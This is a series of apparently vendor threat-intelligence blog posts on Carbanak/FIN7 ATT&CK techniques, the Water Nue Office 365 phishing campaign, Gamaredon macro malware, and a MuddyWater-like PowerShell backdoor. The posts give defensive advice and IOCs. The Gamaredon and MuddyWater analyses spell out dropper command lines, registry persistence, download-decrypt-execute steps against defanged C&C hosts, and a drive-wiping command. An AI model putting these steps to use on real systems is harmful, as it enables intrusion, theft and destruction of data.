ATT&CK “…is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations.” ATT&CK enables network defenders and cyber threat intelligence analysts to collaborate through an open community to continuously identify tactics, techniques and tools used by 90+ global threat actor groups to improve their protection and detection.
Today’s Protection
Other innovative trends that work hand in hand with ATT&CK is the move to XDR from EDR.
In the same way that the kill chain has become an outdated concept, so has the notion that EDR is sufficient to speed up detection and response by solely using the endpoint.
ATT&CK gives you the full picture of the threat, and XDR coordinates protection against the full picture of that threat.
While the endpoint is still critical, there are vast numbers of malicious artifacts that are siloed or missed at the network, cloud, and gateway.
XDR fills in those gaps.
Do you think the evolution of EDR to XDR will meet many of challenges we are seeing today?
Tweet us your thoughts at @TrendMicro.
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Cyber Threats
Constant monitoring of threat groups is one of the ways that security researchers and law enforcement agencies are able defend systems against cybercrime.
Among these cybercriminals are financially motivated threat groups Carbanak and FIN7.
Although both names have at times been used to refer to the same group, organizations such as MITRE identifies them as two separate entities that wield the Carbanak backdoor in their attacks.
However, the groups use not just the Carbanak backdoor but also other types of malware such as Pillowmint, a point-of-sale malware, and Tirion, which is said to be geared to replace Carbanak.
MITRE also identifies different main targets for each group: While Carbanak focuses on banking institutions, FIN7 targets food, hospitality, and retail establishments.
This week, the results of this year's round of the MITRE Engenuity ATT&CK Evaluations were released, which focused on Carbanak+FIN7.
We also separately discussed how Trend Micro solutions deal with these threats.
For more background on what happens in attacks launched by Carbanak and FIN7, we pieced together information from our studies of these groups as well as information from ATT&CK tactics and techniques (a total of 65 techniques across 11 tactics) identified by MITRE to be related to these threat groups.
What happens in Carbanak and FIN7 attacks?
In our analysis of a related past campaign, we observed that attackers enter the system through spear phishing.
After gaining a foothold in the system, the dynamic data exchange (DDE) feature in Windows and legitimate cloud-based services will then be abused to deliver the malware or to establish command-and-control (C&C) communication.
After this, the Carbanak backdoor can then be used to log keystrokes and capture screenshots, steal and delete cookies, inject malicious code on sites, and monitor various traffic.
For lateral movement, the malware abuses remote and system administration tools.
To be more specific in terms of ATT&CK® techniques, Carbanak and FIN7 share a notable number of similarities.
However, some techniques are only used by one of them, as we discuss in the subsequent sections.
Figure 1.
ATT&CK® tactics shared between Carbanak and FIN7
The following are the tactics and techniques that are employed by Carbanak and FIN7, as shared by MITRE.
Initial Access
Both groups use spear-phishing campaigns with attachments that are embedded with exploits as an entry point to the target system.
Execution
Successfully entering the system leads to the next step: executing the attack.
For code and behavior execution, both groups use a variety of techniques through native API, PowerShell, service execution, user execution, Windows Component Object Model (COM) and Distributed COM, and Windows Management Instrumentation (WMI).
Carbanak also abuses command-line interface and DDE client-server protocol.
On the other hand, FIN7 takes advantage of Mshta, a utility that can execute VBScript, and scheduled tasks to run malicious code on user systems.
Persistence
Once the malicious behavior is executed, the attackers will attempt to keep their presence in a system.
To maintain persistence, the groups create new services.
They also add programs to a startup folder that can be referenced with a registry run key.
We detected a variant of the Carbanak malware that adds registry entries and keys as an autostart technique.
Credentials of existing valid accounts were also abused.
In the case of FIN7, the use of application shimming databases (which can allow developers to apply fixes to applications without rewriting code) and hooking processes that allow the modification of program behaviors are some of the techniques that can be applied.
The former has been utilized in a campaign involving the Pillowmint malware.
Privilege Escalation
Some functions that are needed for the attack require admin privileges.
To elevate privileges, the groups bypass Windows User Account Control (UAC) mechanisms, new services, and valid accounts to elevate process privileges.
For the same purpose, on Linux systems, Carbanak attacks can use sudo, a program that permits users to execute the programs of a superuser.
FIN7 attacks can and inject code into processes and hijack the search order used to load DLL files.
Defense Evasion
After a series of malicious behavior, attackers need to remain stealthy and undetected by using security solutions that can remove threats out of the system.
For defense evasion, both groups create or acquire tools for code signing the malware, or deobfuscate or decode files or information by using malware functions or utilities in the system.
Both groups also employ masquerading to make features appear benign to security solutions, files or information obfuscation to make these files and information difficult to discover, software packing to conceal code, and process injection to evade process-based defense.
Carbanak also performs techniques for disabling security tools, deleting files that are left in malicious activity, and modifying registry to hide configuration information.
FIN7 utilizes guardrails to restrict execution and abused utilities that allow indirect command execution that can go past security restrictions.
The group also evades virtualization and sandboxes and injects malicious code into hollowed processes to dodge process-based defenses.
Credential Access
Some portions of the system are protected by credentials.
To steal these, both groups employed credential dumping and input capture.
The former involves credentials that are usually in the form of hash or clear text, while the latter involves API or web portals.
Carbanak also performs brute force tactics or takes advantage of credentials that are saved in web browsers.
On the other hand, FIN7 performs hooking.
Discovery
For the discovery phase, the Carbanak and FIN7 campaigns gain more knowledge about the system by gathering listings of various information: open application windows, running processes, IP addresses and other network identifiers in remote systems, detailed hardware and system information, system network configuration and settings, and system owners and users.
Carbanak also collects information on accounts, files and directories, group permissions, and registries.
FIN7 gathers information on network shares.
The gathered information can aid in the next step: lateral movement.
Lateral Movement
The groups move through the network and identify key assets and data by logging in via RDP, copying files to upload adversary tools through remote file copy, and abusing Window admin shares.
In Carbanak attacks, the groups’ attacks can involve logging into services that accept remote connections and using stolen password hashes through the “pass the hash” method.
Collection
After moving through the network and identifying assets to target, the next step would be to gather key data.
At the collection phase, Carbanak and FIN7 campaigns harvest data from local system sources and through input and screen capture (as performed in a related campaign using the Tirion malware).
FIN7 attacks can stage collected data in a particular location in preparation for exfiltration.
Command and Control
In both Carbanak and FIN7 attacks, communication with users’ compromised systems is done through bypassing firewalls or network detection systems via commonly used ports, using connection proxies to avoid direct connections to the threat group’s infrastructure, employing the command-and-control channel to remotely copy files from an external system, blending in with existing network traffic by using standard application layer protocol, and taking advantage of standard cryptographic protocol to disguise command-and-control traffic.
Carbanak campaigns can also use legitimate programs and remote access software for command and control.
They also employ standard non-application layer protocols for communication.
Exfiltration
In the final phase of the attack, the groups exfiltrate the stolen data into the normal communications channel via command-and-control channels.
For FIN7 attack routines, data can be compressed and/or encrypted before being exfiltrated.
ATT&CK® tactics and techniques for Linux were also shared by MITRE.
Continuous vigilance against threat groups is an important aspect of keeping up with — if not being one step ahead of — threats.
Solutions such as Trend Micro Vision One™️ provide visibility, correlated detection, and behavior monitoring across multiple layers: email, endpoints, servers, cloud workloads.
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A series of ongoing business email compromise (BEC) campaigns that uses spear-phishing schemes on Office 365 accounts has been seen targeting business executives of over 1,000 companies across the world since March 2020.
The recent campaigns target senior positions in the United States and Canada.
The fraudsters, whom we named “Water Nue,” primarily target accounts of financial executives to obtain credentials for further financial fraud.
The phishing emails redirect users to fake Office 365 login pages.
Once the credentials are obtained and accounts are successfully compromised, emails containing invoice documents with tampered banking information are sent to subordinates in an attempt to siphon money through fund transfer requests.
Tracking Water Nue’s activities
The threat actor behind this campaign is interesting for several reasons.
It appears that their technical capabilities are limited despite being able to successfully target high-level employees globally.
While their phishing tools are basic (i.e., no backdoors, trojans, and other malware), they made use of public cloud services to conduct their operations.
The use of cloud services allowed them to obfuscate their operations by hosting infrastructures in the services themselves, making their activities tougher to spot for forensics.
This tactic has become more commonplace among cybercriminals.
We first noticed the campaign from a large group of email domains used in phishing attempts.
We found that most of the recipients hold high corporate positions, particularly in the finance department.
In one of the first cases we encountered, the senior financial officer of a bank located in Africa purportedly sent a PDF invoice to a colleague, specifying a bank account in Hong Kong.
The email was sent from an IP address recorded on one of the phishing sites that the attacker tested its functionality on.
The campaign is ongoing, with the threat actor switching to new infrastructures when used domain names get reported or blacklisted in systems.
Water Nue Campaign Analysis
The attackers use cloud-based email distribution services like SendGrid to deliver emails with a clickable link that redirects targets to a fake Office 365 page.
(We have reached out to SendGrid and shared our findings with them.)
When the target user attempts to log in, credentials are recorded through a simple PHP script.
Figure 1.
Water Nue attack scenario
Figure 2.
Sample of recorded credentials
While the techniques aren’t new, the attack attempts appear to be successful, collecting over 800 credentials from company executives at the time of writing.
How accounts are targeted for phishing attacks
In a July email sent to a C-level executive, we learned that the base domain URL is U10450540[.]ct[.]sendgrid[.
]net, with the final URL being *getting-panes[.
]sfo2*.
Figure 3.
Email header “from” field shows New York and various email accounts indicating “Swiftme@{company domain names}”
“Swiftme” appears in the phishing email headers and is accompanied by account names with forged company email domains.
The displayed email header “from” and subject also pretend as a voicemail service.
“Swiftme” is possibly a nod to electronic or wire transfers and reveals the campaign’s purpose after harvesting credentials.
Figure 4.
Email sample
It should be noted that the SendGrid platform does not appear to attach the X-Mailers originally.
Emails with different X-Mailers and headers are likely appended through tools that can confuse scan engines.
Here are some of the X-Mailers we observed:
X-Mailer: Mozilla/5.0 (Windows; U; Win98; de-AT; rv
X-Mailer: Claws Mail 3.7.6 (GTK+ 2.22.0; x86_64-pc-linux-gnu)
X-Mailer: Mozilla 4.7 [en]C-CCK-MCD NSCPCD47 (Win98; I)
X-Mailer: iPhone Mail (8A293)
X-Mailer: Opera7.22/Win32 M2 build 3221
X-Mailer: ZuckMail [version 1.00]
X-Mailer: CommuniGate Pro WebUser v5.3.2
Figure 5.
A phishing site imitates Office 365 login
The originating IP of Water Nue’s test/deployment machine was left in a clear text file in the phishing site’s server for collected credentials.
Figure 6.
Sitemap
Figure 7.
The landing page index.html has a dummy speech functio
Figure 8.
While the main collection function resides in app.js, command and control (C&C) location is embedded in JavaScript code
Figure 9. jQuery method is used to post the target’s credentials to hosting site
The phishing pages record passwords inputted by site visitors.
Once the compromised credentials are used to successfully log in to accounts, fraudsters can identify themselves as executives.
They will then send a fraudulent wire transfer request to trick recipients into wiring money into the criminals’ accounts.
We found a BEC mail sample that was sent from the same IP.
The email in question is an invoice request that has a legitimate email header, which is a known tactic used in BEC scams.
Figure 10.
An email sample with the same originating IP
Figure 11.
A sample fake PDF invoice in a BEC email
How to defend against BEC and other phishing scams
Unlike other cybercriminal schemes, phishing and BEC scams can be tricky to detect as they are targeted toward specific recipients.
Attackers seek to compromise email accounts to gain access to financial and other sensitive information related to business operations.
Here are some tips on how to stay protected from email scams:
Educate and train employees.
Deflect company intrusions through InfoSec education.
All staff — from the CEO to rank-and-file employees — must learn about the different kinds of scams and what to do in case of any encounters (i.e., double-check with others and verify email details).
Confirm requests using other channels.
Exercise caution by following a verification system (e.g., multiple signoffs or additional verification protocols) among employees that work with sensitive information.
Scrutinize all emails.
Be wary of irregular emails with suspicious content such as dubious sender email, domain name, writing style, and urgent requests.
In the case discussed here, the attacker email itself does not include the typical malware payload of malicious attachments.
As a result, traditional security solutions won’t be able to protect accounts and systems from such attacks.
Users can also turn on mail inspection for sender “sendgrid[.
]net” in the email gateway.
Trend Micro protects both small- to medium-sized businesses and enterprises against phishing- and BEC-related emails.
Using enhanced machine learning combined with expert rules, Trend Micro™ Email Security solution analyzes both the header and the content of an email to stop BEC and other email threats.
For source verification and authentication, it uses Sender Policy Framework (SPF), DomainKeys Identified Mail (DKIM), and Domain-Based Message Authentication, Reporting and Conformance (DMARC).
The Trend Micro™ Cloud App Security solution enhances the security of Microsoft Office 365 and other cloud services through sandbox malware analysis for BEC and other advanced threats.
It uses Writing Style DNA to detect BEC impersonations and computer vision to find credential-stealing phishing sites.
It also protects cloud file sharing from threats and data loss by controlling sensitive data usage.
Indicators of compromise (IOCs)
Threat actor-managed C&C URLs:
https://highstreetmuch[.]xyz/hug/gate[.
]php
https://takeusall[.]online/benzz/gate[.
]PHP
MITRE ATT&CK® Matrix
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APT & Targeted Attacks
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Phishing
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Articles, News, Reports
Gamaredon is an advanced persistent threat (APT) group that has been active since 2013.
Their campaigns are generally known for targeting Ukrainian government institutions.
From late 2019 to February of this year, researchers published several reports on Gamaredon, tracking the group’s activities.
In March, we came across an email with a malware attachment that used the Gamaredon group’s tactics.
Some of the emails used the coronavirus pandemic as a topic to lure victims into opening emails and attachments.
These campaigns targeted victims in European countries and others.
A brief history of Gamaredon
In 2015, researchers from LookingGlass published the first report on Gamaredon.
According to that report, the early campaigns used Microsoft Word documents that, when inspected, showed that its most recent user went by the name of Armagedon (a misspelled “Armageddon”), which became the basis of the group’s namesake.
The report also described Gamaredon’s political beginnings, particularly its ties to the Ukrainian revolution in 2014.
Before the revolution they had targeted Ukrainian government officials, opposition party members, and journalists.
They moved on to Ukrainian government institutions after the revolution.
In 2018, CERT-UA published an advisory against the malware Pterodo, which the group allegedly used.
The group remained active, with several Gamaredon-related activities reported in February 2020.
In March, they were among the threat groups that were identified taking advantage of the coronavirus pandemic to trick targets.
Gamaredon and Covid-19-related cover emails
Figure 1.
The infection chain of the Gamaredon campaign
The case we found arrived through a targeted email that contained a document file (in docx format).
Opening document starts a template injection technique for loading the document template from the internet.
The downloaded document template contains the malicious macro codes, which executes a VBScript (VBS).
We found a mechanism for decrypting, executing, and downloading an additional payload from the C&C server.
During the time of the analysis however, the C&C server was not accessible, which made us unable to get additional payloads.
The attacks we found all arrived through targeted emails (MITRE ATT&CK framework ID T1193).
One of them even had the subject “Coronavirus (2019-nCoV).” The use of socially relevant topics is a common practice for attackers who wish to make their emails and documents more tempting to open.
The email that used the coronavirus-related subject came with an attached document file.
Opening this file (MITRE ATT&CK framework ID T1204) executes the template injection method (MITRE ATT&CK framework ID T1221).
Figure 2.
Code for downloading the document template with the malicious macro
The downloaded document template (in dot format) could differ slightly depending on each download.
However, its Exif info or metadata remains consistent and shares the following details:
Identification: Word 8.0
Language code: Russian
System: Windows
Author: АДМИН (“Administrator” in Russian)
Code page: Windows Cyrillic
Figure 3.
A sample of malicious macro in the downloaded template document
As mentioned, the template contains malicious macro (MITRE ATT&CK framework ID T1064), which exports VBS (MITRE ATT&CK framework ID T1064) to execute itself.
More specifically it drops “%USERPROFILE%\Documents\MediaPlayer\PlayList.vbs,” which is hardcoded in the macro, and then executed in “wscript.exe //b %USERPROFILE%\Documents\MediaPlayer\PlayList.vbs.”
Figure 4.
A content sample for VBS dropped by malicious macro
PlayList.vbs contains the obfuscated codes (MITRE ATT&CK framework ID T1140), which it executes after decrypting the obfuscations.
This particular behavior is a slight departure from previously reported attacks by Gamaredon, which did not use this technique.
Figure 5.
A sample of executed VBS
Figure 5 shows a snippet of the VBS executed by the Execute function.
The routines it follows are enumerated below.
Register the RUN key in the registry below, so that the VBS file is executed every time the machine starts (MITRE ATT&CK framework ID T1060)
Registry: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce\MediaPlayer wscript.exe //b ％USERPROFILE%\Documents\MediaPlayer\PlayList.vbs
Connect with “hxxp:// kristom[.]hopto[.
]org /{computer name}_{hexadecimal volume serious number}/help_05_03[.
]php” (MITRE ATT&CK framework IDs T1043, T1071, T1082)
If the downloaded file size in the first step exceeds 10,485 bytes, then the file is saved as “%APPDATA%\\Microsoft\Windows\Cookies.txt” (MITRE ATT&CK framework ID T1105)
Use XOR for the file saved from the second step, where ASCII code converted from its own hexadecimal volume serial number is used as the key.
The decrypted result is saved as “%APPDATA%\\Microsoft\Windows\Cookies.exe” (T1001)
If the file size of “%APPDATA%\\Microsoft\Windows\Cookies.exe” exceeds 4,485 bytes, it is executed.
Both “%APPDATA%\\Microsoft\Windows\Cookies.txt” and “%APPDATA%\\Microsoft\Windows\Cookies.exe” are then deleted (MITRE ATT&CK framework ID T1107)
The observed routines of this VBS closely follow the other reports published on Gamaredon, such as the one from SentinelOne.
However, the macro generated VBS was obfuscated in this case, likely as an additional evasive tactic.
Interestingly, after decoding the VBS, we saw what appeared to be a programming mistake by the attacker.
Lines 53 and 54 in figure 6 are for closing those downloaded and decoded TXT and EXE files, which are variables defined right before the IF statement.
If, however, these lines do not pass through this IF statement, an error would occur.
It shows that this malware is not tested enough, and may still be under development.
Our analysis found several URLs of the network destinations for both template injection and VBS.
While resolving them to IP addresses to understand their attack bases, we also found that they were all linked to the following IP addresses.
Network destination for template injection: 176[.]119[.]147[.
]225
Network destination for VBS: 176[.]57[.]215[.
]115
These IP addresses are from Russian hosting companies.
Most likely, the attackers rented Virtual Private Server (VPS) as their attack base.
Their URL for VBS (shown below) likely includes the data when they conducted the attack.
hxxp://{FQDN}/{computer name}_{hexadecimal volume serial number}/help_{day}_{month}[.
]php
Conclusion
Gameradon is not the first group to take advantage of the Covid-19 topic.
Some cybercriminals have taken to indirect means of profiting, such as by targeting communication platforms that have increased in popularity after organizations shifted to work from home setups.
In this case, they used Covid-19 as a cover for their relatively typical APT routine.
We recommend these countermeasures to prevent similar APT attacks in the future:
Check the email sender, subject, and body for anything suspicious before downloading and opening email attachments.
Be especially wary of unsolicited emails, that come from unknown senders.
Check the file extension of the attached file and make sure it is the intended file format.
Avoid activating macro for any attached Microsoft Office files, especially for emails that request macro activation using an image of the body of the opened file or those that don’t show anything.
Watch out for spoofed domains embedded in emails before opening them.
Subtle changes to a popular URL can be one indicator of malicious content.
In addition to these actions, users can also implement a multi-layer approach and take advantage of these solutions.
Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security protects users and businesses from similar threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs.
Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.
Trend Micro™ Hosted Email Securityis a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.
It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions.
Trend Micro™ OfficeScan™with XGen™ endpoint security infuses high-fidelity machine learning with other detection technologies and global threat intelligence for comprehensive protection against advanced malware.
The Trend MicroTMXDR solution effectively protects connected emails, endpoints, servers, cloud workloads, and networks.
Trend Micro XDR uses powerful AI and expert security analytics to correlate data, as well as deliver fewer yet higher-fidelity alerts for early threat detection.
In a single console, it provides a broader perspective of enterprise systems while at the same time giving a more focused and optimized set of alerts.
Indicators of Compromise (IoCs)
DOCX file
SHA256
Detection Name
0d90fe36866ee30eb5e4fd98583bc2fdb5b7da37e42692f390ac5f807a13f057
W97M_CVE20170199.ZYHC-A
036c2088cb48215f21d4f7d751d750b859d57018c04f6cadd45c0c4fee23a9f8
Trojan.W97M.CVE20170199.PG
19d03a25af5b71e859561ff8ccc0a073acb9c61b987bdb28395339f72baf46b4
Trojan.XML.PHISH.AE
62cf22f840fffd8d8781e52b492b03b4efc835571b48823b07535d52b182e861
W97M_CVE20170199.ZKHC-A
8310d39aa1cdd13ca82c769d61049310f8ddaea7cd2c3b940a8a3c248e5e7b06
Trojan.W97M.CVE20170199.PF
84e0b1d94a43c87de55c000e3acae17f4493a57badda3b27146ad8ed0f90c93e
Trojan.W97M.CVE20170199.PG
85267e52016b6124e4e42f8b52e68475174c8a2bdf0bc0b501e058e2d388a819
Trojan.W97M.CVE20170199.PF
b6a94f565d482906be7da4d801153eb4dab46d92f43be3e1d59ddd2c7f328109
Trojan.W97M.CVE20170199.PF
cc775e3cf1a64effa55570715b73413c3ea3a6b47764a998b1272b5be059c25b
Trojan.W97M.CVE20170199.PF
DOT file
SHA256
Detection Name
TrendX
00b761bce25594da4c760574d224589daf01086c5637042982767a13a2f61bea
Mal_OLEMAL-4
Downloader.VBA.TRX.XXVBAF01FF007
250b09f87fe506fbc6cedf9dbfcb594f7795ed0e02f982b5837334f09e8a184b
Mal_OLEMAL-4
4b3ae36b04d6aba70089cb2099e6bc1ba16d16ea24bbf09992f23260151b9faf
Mal_OLEMAL-4
946405e2f26e1cc0bd22bc7e12d403da939f02e9c4d8ddd012f049cf4bf1fda9
Mal_OLEMAL-4
9cd5fa89d579a664c28da16064057096a5703773cef0a079f228f21a4b7fd5d2
Mal_OLEMAL-4
c089ccd376c9a4d5e5bdd553181ab4821d2c26fefc299cce7a4f023a660484d5
Mal_OLEMAL-4
e888b5e657b41d45ef0b2ed939e27ff9ea3a11c46946e31372cf26d92361c012
W97M_VBSDOWNLDR.ZKHC-A
f577d2b97963b717981c01b535f257e03688ff4a918aa66352aa9cd31845b67d
W97M_VBSDOWNLDR.ZYHC-A
SHA256
Detection Name
TrendX
17161e0ab3907f637c2202a384de67fca49171c79b1b24db7c78a4680637e3d5
Trojan.X97M.CVE201711882.THCOCBO
Downloader.VBA.TRX.XXVBAF01FF006
29367502e16bf1e2b788705014d0142d8bcb7fcc6a47d56fb82d7e333454e923
TrojanSpy.
Win32.FAREIT.UHBAZCLIZ
N/A
315e297ac510f3f2a60176f9c12fcf92681bbad758135767ba805cdea830b9ee
Trojan.X97M.CVE201711882.THCOCBO
Downloader.VBA.TRX.XXVBAF01FF006
3e6166a6961bc7c23d316ea9bca87d8287a4044865c3e73064054e805ef5ca1a
Backdoor.
Win32.REMCOS.USMANEAGFG
Troj.
Win32.TRX.XXPE50FFF034
3f40d4a0d0fe1eea58fa1c71308431b5c2ce6e381cacc7291e501f4eed57bfd2
Trojan.MSIL.AGENTTESLA.THCOCBO
N/A
ab533d6ca0c2be8860a0f7fbfc7820ffd595edc63e540ff4c5991808da6a257d
Trojan.X97M.CVE201711882.THCOCBO
N/A
b78a3d21325d3db7470fbf1a6d254e23d349531fca4d7f458b33ca93c91e61cd
Backdoor.
Win32.REMCOS.USMANEAGFE
Troj.
Win32.TRX.XXPE50FFF034
c9c0180eba2a712f1aba1303b90cbf12c1117451ce13b68715931abc437b10cd
TrojanSpy.
Win32.FAREIT.UHBAZCLIZ
Troj.
Win32.TRX.XXPE50FFF034
C&C addresses
Bambinos[.]bounceme[.
]net
bbtt[.
]site
bbtt[.
]space
harpa[.
]site
harpa[.
]space
harpa[.
]website
himym[.
]site
kristoffer[.]hopto[.
]org
kristom[.]hopto[.
]org
miragena[.
]site
miragena[.
]xyz
papir[.]hopto[.
]org
sabdja[.]3utilities[.
]com
sakira[.]3utilities[.
]com
seliconos[.]3utilities[.
]com
solod[.]bounceme[.
]net
sonik[.]hopto[.
]org
tele[.]3utilities[.
]com
violina[.
]website
voyager[.]myftp[.
]biz
voyaget[.]myftp[.
]biz
Mitre ATT&CK Framework
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Spam
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We discovered a new campaign targeting organizations in Turkey, Pakistan and Tajikistan that has some similarities with an earlier campaign named MuddyWater, which hit various industries in several countries, primarily in the Middle East and Central Asia.
Third party security researchers named the MuddyWater campaign as such because of the difficulties in attributing the attacks.
However, given the nature of the targets, as well as the gathering and uploading of information to C&C servers, it appears that the attackers are mainly concerned with espionage activities — with the Saudi Arabia’s National Cyber Security Center (NCSC) publishing an alert on their website regarding the attacks.
Given the number of similarities, we can assume that there is a connection between these new attacks and the MuddyWater campaign.
It also signifies that the attackers are not merely interested in a one-off campaign, but will likely continue to perform cyberespionage activities against the targeted countries and industries.
Comparing the earlier MuddyWater campaign with this new one reveals some distinct similiarities:
2017 MuddyWater Campaign
2018 “MuddyWater” Campaign
Countries of Targeted Organizations
Georgia, India, Iraq, Israel, Pakistan, Saudi Arabia Turkey United Arab Emirates, and the USA
Turkey, Pakistan, Tajikistan
Decoy Documents
The documents try to mimic government organizations, including the Iraqi National Intelligence Service, the National Security Agency, and the Ministry of Interior of Saudi Arabia
The documents try to mimic government organizations such as the Ministry of Internal Affairs of the Republic of Tajikistan.
Some documents also come with government emblems.
Dropped Files
Visual Basic file and Powershell file; the VBS file executes the PS file
Proxies
Hundreds of hacked websites are used as proxies.
In addition to the common characteristics seen above, the campaigns also use similar obfuscation processes, as are the internal variables after deobfuscation.
A list of isDebugEnv is also present in both campaigns.
Infection Chain
Figure 1.
Infection chain for the attack
Our research found malicious delivery documents (Detected by Trend Micro as JS_VALYRIA.DOCT and W2KM_VALYRIA.DOCT) containing text and file names in the Tajik language attempting to target individuals working for government organizations and telecommunication companies in Tajikistan.
Each document uses social engineering to trick potential victims into clicking it to enable the macros and activate the payload.
While some of the payloads we observed were embedded inside the document itself, some of the payloads were also downloaded from the internet after the lure was clicked.
There is a separate lure with a program key generator written in Java that was bundled with a Java downloader.
However, the actual payload is the same.
Some examples of the lure documents used in the campaign can be seen below:
Figure 2.
A sample document used in the campaign.
Note that it uses the Tajikistan emblem, signifying that this is likely used to target government organizations or make it seem that it came from one
Figure 3.
A second lure document that we found being used in the campaign designed to look like a document sent to telecommunication companies regarding dissatisfaction with their service; it also asks them to fill out a form, which can be seen in the table at the bottom
Figure 4.
Another example of a header allegedly from the Ministry of Internal Affairs of Tajikistan
After enabling the macros and the payload executes, two files – an obfuscated  Visual Basic script (Detected by Trend Micro as VBS_VALYRIA.DOCT), and an obfuscated PowerShell script (Detected by Trend Mico as TROJ_VALYRIA.PS) — are created in the ProgramData directory placed in randomly-named directories.
The purpose of the .VBS script is to execute the PowerShell script.
The path to the VBS script is added to the task scheduler as a form of persistence.
Figure 5.
The installed backdoor and persistence script
In other campaigns, two files are also dropped.
One of them is the VBS script, however, the second file is a base64 encoded text file, which, after decoding, results in the Powershell file, as in the previous campaign.
This is one simple layer of obfuscation, likely to avoid some antivirus detections.
The latest change, drops three files – an.sct scriptlet file, an.inf file and a base64 encoded data file.
The scriptlet file and inf file use publicly available code for bypassing applockerCode examples are also available on github.
The PowerShell script, which employs several layers of obfuscation, is divided into three parts.
Part one contains global variables like paths, encryption keys, a list of a few hundred gates or hacked websites which serve as proxies:
Figure 6.
The configuration portion of the PowerShell script
The second part contains functions related to the encryption, which is a standard RSA encryption with very small keys.
The third part contains the backdoor function.
This function will first collect machine information and take screenshots before it sends this data to a command-and-control (C&C) server while waiting for commands.
These include the following actions: clean, reboot, shutdown, screenshot, and upload.
The clean command attempts to recursively delete all the items from drives C, D, E, and F.
Figure 7.
The clean command wipes drives C, D, E and F
C&C Communication
The communication is done via XML messages with the following supported ACTION commands:
REGISTER
IMAGE
COMMAND RESULT
UPLOAD
The backdoor first finds out the machine IP address by querying the internet service api[.]ipify[.
]org, which returns the IP address of the currently infected machine.
This IP address is then fed to another internet service called apinotes[.
]com, which returns the location information of the given IP address.
The backdoor then collects the system information about the infected machine such as the Operating System name, architecture, domain, network adapter configuration, and username.
It then separates each piece of information with **, and sends this system info as part of the REGISTER message:
Figure 8.
The register message before encryption
A simple RSA algorithm with very small keys encrypts the message seen above.
Let’s take the first character as an example.
Character “{” = 0x7B =123.
Variable ${prIVATE} = 959, 713 from section 1 of the PowerShell script has two values; the first number is the key and the second number is the modulus.
By computing (123 ^ 959) mod 713 = 340 we get the encrypted value of the first character (see number 340 in the figure below).
The message above gets encrypted as shown in figure 9 below, then its contents are sent via post request to one of many hacked gates.
Figure 9.
The register message after encryption
The response to this message is another set of decimal numbers which can be decrypted by the public key, which is stored in ${pUbLIC} = 37, 437 variable in part 1 of the PowerShell script.
Figure 10.
The encrypted response to the register message
The message above can be decrypted to:
{"STATUS": "OK", "TOKEN": "d02153ffaf8137b1fa3bb852a27a12f8"}
The XML message containing screenshot can be seen below.
Note that the previously obtained SYSID that serves as a machine identifier, ACTION:”IMAGE” tells us that a base64 encoded image will be followed in IMAGE field.
Figure 11.
The XML message with the screenshot
It seems that the attackers are actively monitoring the incoming connections to the C&C.
In one of our attempts, we sent an improper request to the C&C server, which replied with the following message: “Stop!!!
I Kill You Researcher.” This level of personalized messaging implies that the attackers are monitoring what data is going to and from their C&C server.
Figure 12.
When the threat actor discovers the researcher via an improper request
Another hidden message or a false flag?
For the PowerShell script, the first part contains a variable named dragon_middle, which is an array containing a few hundred URLs ending with connection.php that serve as proxies between victim and C&C.
If communication with C&C fails, and if the PowerShell script is run from a command line, a few error messages written in simplified Mandarin Chinese are displayed, with a curious phrase that translates to "waiting for dragon":
无法访问本地计算机寄存器 (Unable to access local computer register)
任务计划程序访问被拒绝 (Mission Scheduler access is denied)
无法连接到网址，请等待龙 (Cannot connect to URL, please wait for dragon)
无法连接到网址，请等待龙 (Cannot connect to website, please wait for dragon)
These messages may not reveal anything about the real attackers as the malware writers sometimes like to embed false flags into their programs to confuse researchers.
The syntax and grammar suggest that the language could have been machine-translated rather than written by a native speaker.
Countermeasures and Trend Micro Solutions
Users unfamiliar with the various kinds of social engineering techniques might find it difficult to distinguish a legitimate message from a malicious one – thus the need for education on identifying and mitigating phishing attacks – especially if it involves organizations in sensitive industries such as government and manufacturing.
Context, in this case, is important.
Users need to consider why they received an email and avoid clicking on any links or attachments in general until they are certain that they are legitimate.
Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware, and targeted attacks in real time.
It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats even without any engine or pattern update.
Malware such as the one analyzed in this entry also use email as an entry point, which is why it's important to secure the email gateway.
Trend Micro™ Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.
Trend Micro™ Deep Discovery™ Inspector and InterScan™ Web Security prevent malware from ever reaching end users.
At the endpoint level, Trend Micro™ Smart Protection Suites deliver several capabilities that minimize the impact of these attacks.
These solutions are powered by the Trend Micro XGen™ security, which provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints.
It features high-fidelity machine learning to secure the gateway and endpoint data and applications, and protects physical, virtual, and cloud workloads.
Indicators of Compromise (IOCs)
Hashes detected as W2KM_VALYRIA.DOCT:
009cc0f34f60467552ef79c3892c501043c972be55fe936efb30584975d45ec0
153117aa54492ca955b540ac0a8c21c1be98e9f7dd8636a36d73581ec1ddcf58
18479a93fc2d5acd7d71d596f27a5834b2b236b44219bb08f6ca06cf760b74f6
18cf5795c2208d330bd297c18445a9e25238dd7f28a1a6ef55e2a9239f5748cd
1ee9649a2f9b2c8e0df318519e2f8b4641fd790a118445d7a0c0b3c02b1ba942
2727bf97d7e2a5e7e5e41ccbfd7237c59023d70914834400da1d762d96424fde
2cea0b740f338c513a6390e7951ff3371f44c7c928abf14675b49358a03a5d13
3b1d8dcbc8072b1ec10f5300c3ea9bb20db71bd8fa443d97332790b74584a115
3d96811de7419a8c090a671d001a85f2b1875243e5b38e6f927d9877d0ff9b0c
3da24cd3af9a383b731ce178b03c68a813ab30f4c7c8dfbc823a32816b9406fb
6edc067fc2301d7a972a654b3a07398d9c8cbe7bb38d1165b80ba4a13805e5ac
76e9988dad0278998861717c774227bf94112db548946ef617bfaa262cb5e338
